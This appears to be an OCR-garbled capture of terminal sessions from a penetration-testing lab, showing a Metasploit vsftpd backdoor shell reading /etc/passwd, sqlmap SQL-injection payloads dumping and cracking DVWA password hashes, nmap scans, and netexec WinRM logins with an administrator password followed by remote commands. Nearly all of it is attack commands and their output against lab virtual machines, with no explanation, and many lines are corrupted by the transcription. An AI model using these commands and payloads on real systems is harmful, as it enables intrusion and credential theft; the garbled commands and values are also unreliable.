Nmap done: 1 IP address (1 host up) scanned in 12.91 seconds
nsE exploit(unix/ftp/vsftpd 234 backdoor) > exit

—(kali® kali)-[~]
§ sqlmap -u "http://192.168.56.102/dvwa/vulnerabilities/sqli/?id=165ubmit=Submit™ —cookie="PHPSESSID=7g130niucochif11636e6an0j7; security=low” —dbs

{1.9.118stable}

https: //sqlmap.ori

['] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local,
state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 19:03:16 /2026-04-20/

119 [INFO] testing connection to the target URL

19 [INF0] checking if the target is protected by some kind of WAF/IPS

[o: [INFO] testing if the target URL content is stable

e [INFO] target URL content is stable

19 [INFO] testing if GET parameter 'id’ is dynamic

[9: [WARNING] GET parameter 'id’ does not appear to be dynamic

[¢0) [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MysaL')

[¢) [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (Xss) attacks
[19:02:16] [INFO] testing for SQL injection on GET parameter 'id"
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMses? [¥/n] Il
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[15-w+~as- tmnaias s boolean-based injection cases, please consider usage of switch *
N
sqlmap identified the following injection point(s) with a total of 154 HTTP(s) requests:
Parameter: id (GET)

Type: boolean-based blind

Title: OR boolean-based blind ~ WHERE or HAVING clause (NOT - MySQL comment)

Payload: id=1' OR NOT 4230=4230#55ubmit=Submit

drop-set-cookie’ if you experience any problems during data retrieval

Type: error-based

Title: MysQL > 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: id=1" AND (SELECT 6786 FROM(SELECT COUNT(x),CONCAT(0x717a786271,(SELECT (ELT(6786=6786,1))),0x717a717171, FLOOR(RAND(@)*2))x FROM INFORMATION_SCHEMA.PLUGIN
S GROUP BY x)a)— FfNgsSubmit=submit

Type: time-based blind
Title: MysQL > 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1" AND (SELECT 9622 FROM (SELECT(SLEEP(S5)))HOuY)-- HWIDESubmit=:

Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x717a786271,0x77427a7159644867454b506154734e784a72616F484841756e41525264554e4167585576714b6343,0x7172717171)#65ubmi t=5
ubmit
[19:05:37] [INFO] the back-end DBMS is MySQL
[19:06:37] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: Apache 2.2.14, PHP 5.3.2
back-end DBMS: MysQL > 5.0
[19:06:37] [INFO] fetching database names
available databases [2]:
[+] dvwa
[+] information_schema

[19:06:38] [INFO] fetched data logged to text files under °/home/kali/.local/share/sqlmap/output/192.168.56.102"
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(1 —_—— « wiww 4ia a dictionary-based attack? [¥/n/q] y
[19:11:12] [INFO] using hash method ‘md5_generic_passwd

what dictionary do you want to use?

[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custon dictionary file

[3] file with list of dictionary files

>

[19:11:20] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] n
[19:11:57] [INFO] starting dictionary-based cracking (mdS_generic_passwd)

[19: [INFO] starting 2 processes

19 [INFO] cracked password 'abc123° for hash ‘e99a18ct28ch38d5f26085367892203
19 [INFO] cracked password 'charley’ for hash '8d3533d75ae2c3966d7e0dtfcc69216b
[19: [INFO] cracked password admin’ for hash '21232f297a57a5a743894a0e4a801fc3
19 [INFO] cracked password password’ for hash Sfidcc3b5aa765d61d8327deb882cf99

[0 [1NFO] cracked password 'letmein’ for hash '0d107d09f5bbe0cade3de5c71e9e9b7"
[19:12:07] [INFO] cracked password ‘user’ for hash ‘eel1cbb19052e40b07aac@ca060c23ee’
Database: dvwa

Table: users

[6 entries]

| user_id | user | avatar | password | last_name | first_name
11 | admin | http://127.0.0.1/dvwa/hackable/users/admin.jpg | 21232f297a57a5a74389420e4a801fc3 (admin) | admin | adnin

12 | gordonb | http://127.0.0.1/dvwa/hackable/users/gordonb. jpg | e99a18c428cb38d5F260853678922e03 (abc123) | Brown | Gordon

I3 11337 | http://127.0.0.1/dvwa/hackable/users/1337.5pg | 8d3533d75ae2c39667e0d4fcc69216b (charley) | Me | Hack

14 | pablo | http://127.0.0.1/dvwa/hackable/users/pablo.jpg | 0d107d09fsbbes0cade3desc71e9e9b7 (letmein) | Picasso | Pablo

s | smithy | http://127.0.0.1/dvwa/hackable/users/smithy.jpg | Sfadcc3b5aaze5de1ds327debss2cfo9 (password) | Smith | Bob

6 | user | http://127.0.0.1/dvwa/hackable/users/1337.3pg | eellcbb19052e40b07aacoca060c23ee (user) | user | user

[19:12:11] [INFO] table 'dvwa.users’ dumped to CSV file */home/kali/.local/share/sqlmap/output/192.168.56.102/dump/dvwa/users.csv
[19:12:11] [INFO] fetched data logged to text files under °/home/kali/.local/share/sqlmap/output/192.168.56.102"
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x:106:115:: /var/spool/postfix: /bin/false
tp:x:107:65534 :: /home/Ftp: /bin/False
postgres:x:108:117:PostgresQL administrator, ,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server, , ,:/var/lib/mysql:/bin/false
tomcatss usr/share/toncats.5: /bin/false
distccd:x:111:65534:: /:/bin/false

001:1001:just a user,111,,:/home/user: /bin/bash
service:x:1002:1002:,,,:/home/service: /bin/bash
telnetd:x:112:120:: /nonexistent: /bin/false
/var/run/proftpd: /bin/false
var/lib/nfs:/bin/false

“[IA"[[Bexit
sh: line 14: exit: command not found

exit
[+] 192.168.56.105 - Command shell session 1 closed.

nsE exploit(unix/ftp/vsftpd_234_backdoor) >

6.102xploit (i1 i/ 0/ usiod 234 baclioos) > nmap -SV -p 80,8080,443 192.168.5
[+] exec: nmap -sV -p 80,8080,443 192.168.56.102

Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-20 18:49 EDT
Nmap scan report for 192.168.56.102
Host is up (0.0012s latency)

PORT  STATE SERVICE VERSION
80/tcp open http  Apache httpd 2.2.14 ((Ubuntu) mod_mono/2.4.3 PHP/5.3.2-lubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ss1/2
2.14 OpensSL ... )

443/tcp open ssl/http Apache httpd 2.2.14 ((Ubuntu) mod_mono/2.4.3 PHP/5.3.2-lubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ss1/2
2.14 OpensSL ... )

8080/tcp open http  Apache Tomcat/Coyote JSP engine 1.1

MAC Address: 08:00:27:5F:19:98 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 12.91 seconds
nst exploit(unix/ftp/vsftpd_234_backdoor) > I
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—$ nmap -sV -p 445,3389,135,139 -Pn 192.168.56.106

starting Nmap 7.95 ( https://nmap.org ) at 2026-04-20 19:23 EDT
Nmap scan report for 192.168.56.106

Host is up (0.0011s latency).

PORT  STATE  SERVICE VERSTON
135/tcp  Filtered msrpc

139/tcp Filtered netbios-ssn

445/tcp  Filtered microsoft-ds

3389/tcp filtered ms-wbt-server

MAC Address: 08:00:27:FD:F7:D2 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.59 seconds

(kali® kali)
$ nmap -sV -p 445,3389,135,139 -Pn 192.168.56.106

starting Nmap 7.95 ( https://nmap.org ) at 2026-04-20 19:31 EDT
Nmap scan report for 192.168.56.106

Host is up (0.0050s latency).

PORT  STATE SERVICE VERSTON
135/tcp open  msrpc Microsoft Windows RPC

139/tcp open netbios-ssn  Microsoft Windows netbios-ssn

445/tcp open  microsoft-ds?

3389/tcp closed ms-wbt-server

MAC Address: 08:00:27:FD:F7:D2 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.51 seconds

(kali® kali)-[~]
[ ]
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[*] Initializing SMB protocol database
[+] Initializing NFS protocol database
[*] Initializing FTP protocol database
[+] Initializing WMI protocol database
[*] Initializing SSH protocol database
[*] Initializing RDP protocol database
[*] Initializing VNC protocol database
[*] Initializing LDAP protocol database
[*] Initializing MSSQL protocol database
[*] Copying default configuration file
WINRM 192.168.56.106 5985 WIN-CPSNEVOUAAL [*] Windows 10 / Server 2019 Build 17763 (name
/ust/1ib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARCh
Ci and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.
arch = algorithms.ARC4(self. key)
WINRM 192.168.56.106 5985 WIN-CPSNEVOUAAL | | WIN-CPSNEVOUAA\Administrator:Aviai23

—(kali® kali)-[~]

$ netexec winrm 192.168.56.106 -u Administrator -p Avirall23

WINRM 192.168.56.106 5985 WIN-CPSNEVOUAAL [*] Windows 10 / Server 2019 Build 17763 (name
/ust/1ib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARCL
Ci and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.

arck = algorithms.ARCA(self. key)

INRM 192.168.56.106 5985 WIN-CPSNEVOUAA1 | | WIN-CPSNEVOUAA1\Administrator:Avirali23

(kali® kali)-[~]
$ netexec winrm 192.168.56.106 -u Administrator -p Aviral123

WINRM 192.168.56.106 5985 WIN-CPSNEVOUAA1 [*] Windows 10 / Server 2019 Build 17763 (name
/ust/1ib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARCL
C and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0

rc4 = algorithms.ARCA(self. key)

kali® kali)-[~:
ELI i® J-f=1

O A 99| a G
(<]

:WIN-CPSNEVOUAA1) (domain:WIN-CPSNEVOUAAL)
has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.AR

:WIN-CPSNEVOUAA1) (domain:WIN-CPSNEVOUAAL)
has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.AR

WIN-CPSNEVOUAA1) (domain:WIN-CPSNEVOUAAL)
has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.AR

INRM 192.168.56.106 5985 WIN-CPSNEVOUAA1 [+] WIN-CPSNEVOUAA1\Administrator:Avirali23 (Pwn3d!)
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WINRM 192.168.56.106 5985 WIN-CPSNEVOUAA1 [*] Windows 10 / Server 2019 Build 17763 (name:!

/ust/1ib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARCh
C4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithns in 48.0.0.

arch = algorithms.ARC4(self. key)
WINRM 192.168.56.106 5985 WIN-CPSNEVOUAAL | | WIN-CPSNEVOUAA1\Administrator:Aviai23

[(kali®kali)-[~]
netexec winrm 192.168.56.106 -u Administrator -p Aviral123

WINRM 192.168.56.106 5985 WIN-CPSNEVOUAAL [*] Windows 10 / Server 2019 Build 17763 (name:!

/ust/1ib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARCh
Ci and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.

arch = algorithms.ARC4(self. key)
WINRM 192.168.56.106 5985 WIN-CPSNEVOUAA1 | | WIN-CPSNEVOUAA1\Administrator:Avirali23

—(kali® kali)-[~]
L§ netexec winrm 192.168.56.106 -u Administrator -p Aviral123

WINRM 192.168.56.106 5985 WIN-CPSNEVOUAAL [*] Windows 10 / Server 2019 Build 17763 (name:!

/ust/1ib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARCh
C4 and will be removed from cryptography.hazmat.primitives.ciphers.algorithns in 48.0.0.
arch = algorithms.ARC4(self. key)

WIN-CPSNEVOUAA1) (domain:WIN-CPSNEVOUAA1)
has been moved to cryptography.hazmat.decrepit.

WIN-CPSNEVOUAA1) (domain:WIN-CPSNEVOUAA1)
has been moved to cryptography.hazmat.decrepit.

WIN-CPSNEVOUAA1) (domain:WIN-CPSNEVOUAA1)
has been moved to cryptography.hazmat.decrepit.

WINRM 192.168.56.106 5985 WIN-CPSNEVOUAA1 [+] WIN-CPSNEVOUAA1\Administrator:Aviral123 (Pun3d!)

lkali® kali)-[~]
$ netexec winrm 192.168.56.106 -u Administrator -p Avirall23 —x “whoami”
WINRM 192.168.56.106 5985 WIN-CPSNEVOUAAL [*] Windows 10 / Server 2019 Build 17763 (name
/ust/1ib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC
Ct and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.

arch = algorithms.ARC4(self. key)

:WIN-CPSNEVOUAA1) (domain:WIN-CPSNEVOUAAL)

has been moved to cryptography.hazmat.decrepit.

WINRM 192.168.56.106 5985 WIN-CPSNEVOUAAL [+] WIN-CPSNEVOUAA1\Administrator:Aviral123 (Pwn3d!)
WINRM 192.168.56.106 5985 WIN-CPSNEVOUAA1 [+] Executed command (shell type: cmd)
WINRM 192.168.56.106 5985 WIN-CPSNEVOUAAL win-cpsnevOuaal\administrator

kali® kali)-[~]
oy

ciphers.

ciphers.

ciphers.

ciphers.

950 | & G
(<]

algorithms. AR

algorithms.AR

algorithms.AR

algorithms. AR
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WINRM 192.168.56.106 5985 WIN-CPSNEVOUAAL [+] WIN-CPSNEVOUAA1\Administrator:Avirali23 (Pwn3d!)
WINRM 192.168.56.106 5985 WIN-CPSNEVOUAA1 [+] Executed command (shell type: cmd)

WINRM 192.168.56.106 5985  WIN-CPSNEVOUAAL

WINRM 192.168.56.106 5985 WIN-CPSNEVOUAA1 Windows IP Configuration

WINRM 192.168.56.106 5985  WIN-CPSNEVOUAAL

WINRM 192.168.56.106 5985  WIN-CPSNEVOUAAL

WINRM 192.168.56.106 5985 WIN-CPSNEVOUAA1 Ethernet adapter Ethernet:

WINRM 192.168.56.106 5985  WIN-CPSNEVOUAAL

WINRM 192.168.56.106 5985 WIN-CPSNEVOUAA1 Connection-specific DNS Suffix . :

WINRM 192.168.56.106 5085 WIN-CPSNEVAUAA1 Link-local IPV6 Address . . . . . : fe80::9e46:b81b:340b:603c%3
WINRM 192.168.56.106 5985 WIN-CPSNEVAUAA1 IPV4 Address. . . . . . . . . . . : 192.168.56.106
WINRM 192.168.56.106 5985 WIN-CPSNEVOUAA1 Subnet Mask . . . . . . . .. .. : 255.255.255.0
WINRM 192.168.56.106 5985 WIN-CPSNEVOUAAL Default Gateway . . . . . . . . . ©

lkati® kati)-[~)
$ netexec winrm 192.168.56.106 -u Administrator -p Avirall23 —x “net user”
WINRM 192.168.56.106 5985 WIN-CPSNEVOUAA1 [*] Windows 10 / Server 2019 Build 17763 (name:WIN-CPSNEVOUAA1) (domain:WIN-CPSNEVOUAA1)
/ust/1ib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC has been moved to cryptography.hazmat.decrepit.ciphers.algoriths.AR
Ci and will be removed from cryptography.hazmat.primitives.ciphers.algorithms in 48.0.0.

arcs = algorithms.ARCA(self. key)

WINRM 192.168.56.106 5985 WIN-CPSNEVOUAA1 [+] WIN-CPSNEVOUAA1\Administrator:Aviral123 (Pwn3d!)
WINRM 192.168.56.106 5985 WIN-CPSNEVOUAA1 [+] Executed command (shell type: cmd)

WINRM 192.168.56.106 5985  WIN-CPSNEVOUAAL

WINRM 192.168.56.106 5985 WIN-CPSNEVAUAA1 User accounts for \\

WINRM 192.168.56.106 5985  WIN-CPSNEVOUAAL

WINRM 192.168.56.106 5985  WIN-CPSNEVOUAAL

WINRM 192.168.56.106 5985 WIN-CPSNEVOUAAL Administrator DefaultAccount Guest
WINRM 192.168.56.106 5985 WIN-CPSNEVOUAAL WDAGUtilityAccount

WINRM 192.168.56.106 5985 WIN-CPSNEVOUAAL The command completed with one or more errors.
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